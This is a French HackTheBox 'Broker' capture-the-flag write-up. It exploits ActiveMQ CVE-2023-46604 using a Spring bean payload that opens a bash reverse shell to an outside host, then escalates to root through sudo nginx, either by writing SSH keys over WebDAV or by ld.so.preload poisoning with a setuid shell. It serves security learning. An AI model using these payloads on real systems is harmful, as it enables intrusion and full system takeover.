Broker - HackTheBox
Vue d'Ensemble
| Propriété | Valeur |
|---|---|
| IP | 10.10.11.243 |
| OS | Linux |
| Difficulté | Easy |
| Points Clés | ActiveMQ RCE, Sudo Nginx Abuse |
Phase 1 : Reconnaissance
Scan de Ports
nmap -p- --min-rate 10000 10.10.11.243
nmap -p 22,80,1883,5672,8161,39751,61613,61614,61616 -sCV 10.10.11.243
Ports importants :
- 22 : SSH
- 80 : HTTP (Basic Auth)
- 1883 : MQTT
- 5672 : AMQP
- 8161 : Jetty Web (ActiveMQ Admin)
- 61614 : Jetty
- 61616 : ActiveMQ OpenWire Transport
Phase 2 : Interface Web - ActiveMQ
Accès à l'Interface Admin
Le site (port 80) demande une authentification Basic :
Credentials par défaut : admin:admin
Accès à l'interface d'administration ActiveMQ via /admin/.
Identification de la Version
Version détectée : ActiveMQ 5.15.15
Cette version est vulnérable à CVE-2023-46604 (RCE via désérialisation).
Phase 3 : Exploitation - CVE-2023-46604
Description de la Vulnérabilité
CVE-2023-46604 permet l'exécution de code à distance en envoyant un message sérialisé vers le port OpenWire (61616). Le serveur charge un XML externe (Spring bean) qui exécute une commande.
Préparation du Payload
Créer poc.xml :
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/10.10.14.6/9001 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
Hébergement du Payload
# Lancer un serveur HTTP local
python3 -m http.server 80
Préparation du Listener
nc -lvnp 9001
Exploitation
POC utilisé : https://github.com/evkl1d/CVE-2023-46604
python exploit.py -i 10.10.11.243 -u http://10.10.14.6/poc.xml
Résultat : Shell en tant que activemq dans /opt/apache-activemq-5.15.15/bin.
🚩 Flag User
cat /home/activemq/user.txt
🚩 Flag User: HTB{...}
Phase 4 : Escalade de Privilèges Root
Énumération des Privilèges
sudo -l
Résultat : L'utilisateur activemq peut exécuter /usr/sbin/nginx en NOPASSWD.
Méthode A : Nginx Rogue + WebDAV
Étape 1 : Créer une configuration Nginx
Créer /dev/shm/nginx.conf :
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1338;
root /;
autoindex on;
dav_methods PUT;
}
}
Étape 2 : Lancer Nginx
sudo /usr/sbin/nginx -c /dev/shm/nginx.conf
Étape 3 : Écrire la clé SSH root
# Sur votre machine locale
ssh-keygen -f broker_key
# Envoyer la clé publique
curl -X PUT http://localhost:1338/root/.ssh/authorized_keys -d '@broker_key.pub'
Étape 4 : Connexion SSH en root
ssh -i broker_key [email protected]
Méthode B : LD_PRELOAD Poisoning
Étape 1 : Configuration Nginx pour log poisoning
Créer une config nginx avec error_log /etc/ld.so.preload warn;.
Étape 2 : Créer le payload malveillant
Créer pwn.c :
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
}
Étape 3 : Compiler le payload
gcc -fPIC -shared -ldl -o /tmp/pwn.so pwn.c
Étape 4 : Préparation et déclenchement
# Copier bash
cp /bin/bash /tmp/rootshell
# Forcer des erreurs pour écrire dans le log
curl http://localhost:1338/tmp/pwn.so
# Déclencher le chargement
sudo -l
# Lancer le shell root
/tmp/rootshell -p
🚩 Flag Root
cat /root/root.txt
🚩 Flag Root: HTB{...}
Compétences Développées
- Exploitation de vulnérabilités ActiveMQ (CVE-2023-46604)
- Manipulation de Spring beans pour RCE
- Exploitation de sudo misconfiguration (Nginx)
- LD_PRELOAD poisoning
- WebDAV pour écriture de fichiers privilegiés
Outils Utilisés
nmap- Reconnaissance réseaucurl- Manipulation HTTP/WebDAVnc- Reverse shell- POC CVE-2023-46604 - Exploitation ActiveMQ
gcc- Compilation de payloadsssh-keygen- Génération de clés SSH
Bonnes Pratiques
- Ces techniques doivent être exécutées uniquement dans des environnements autorisés (CTF/lab)
- Ne pas utiliser sur des systèmes de production sans autorisation explicite
- Adapter les IPs et chemins aux valeurs réelles de votre instance
Références
- POC CVE-2023-46604 : https://github.com/evkl1d/CVE-2023-46604
- Documentation ActiveMQ Security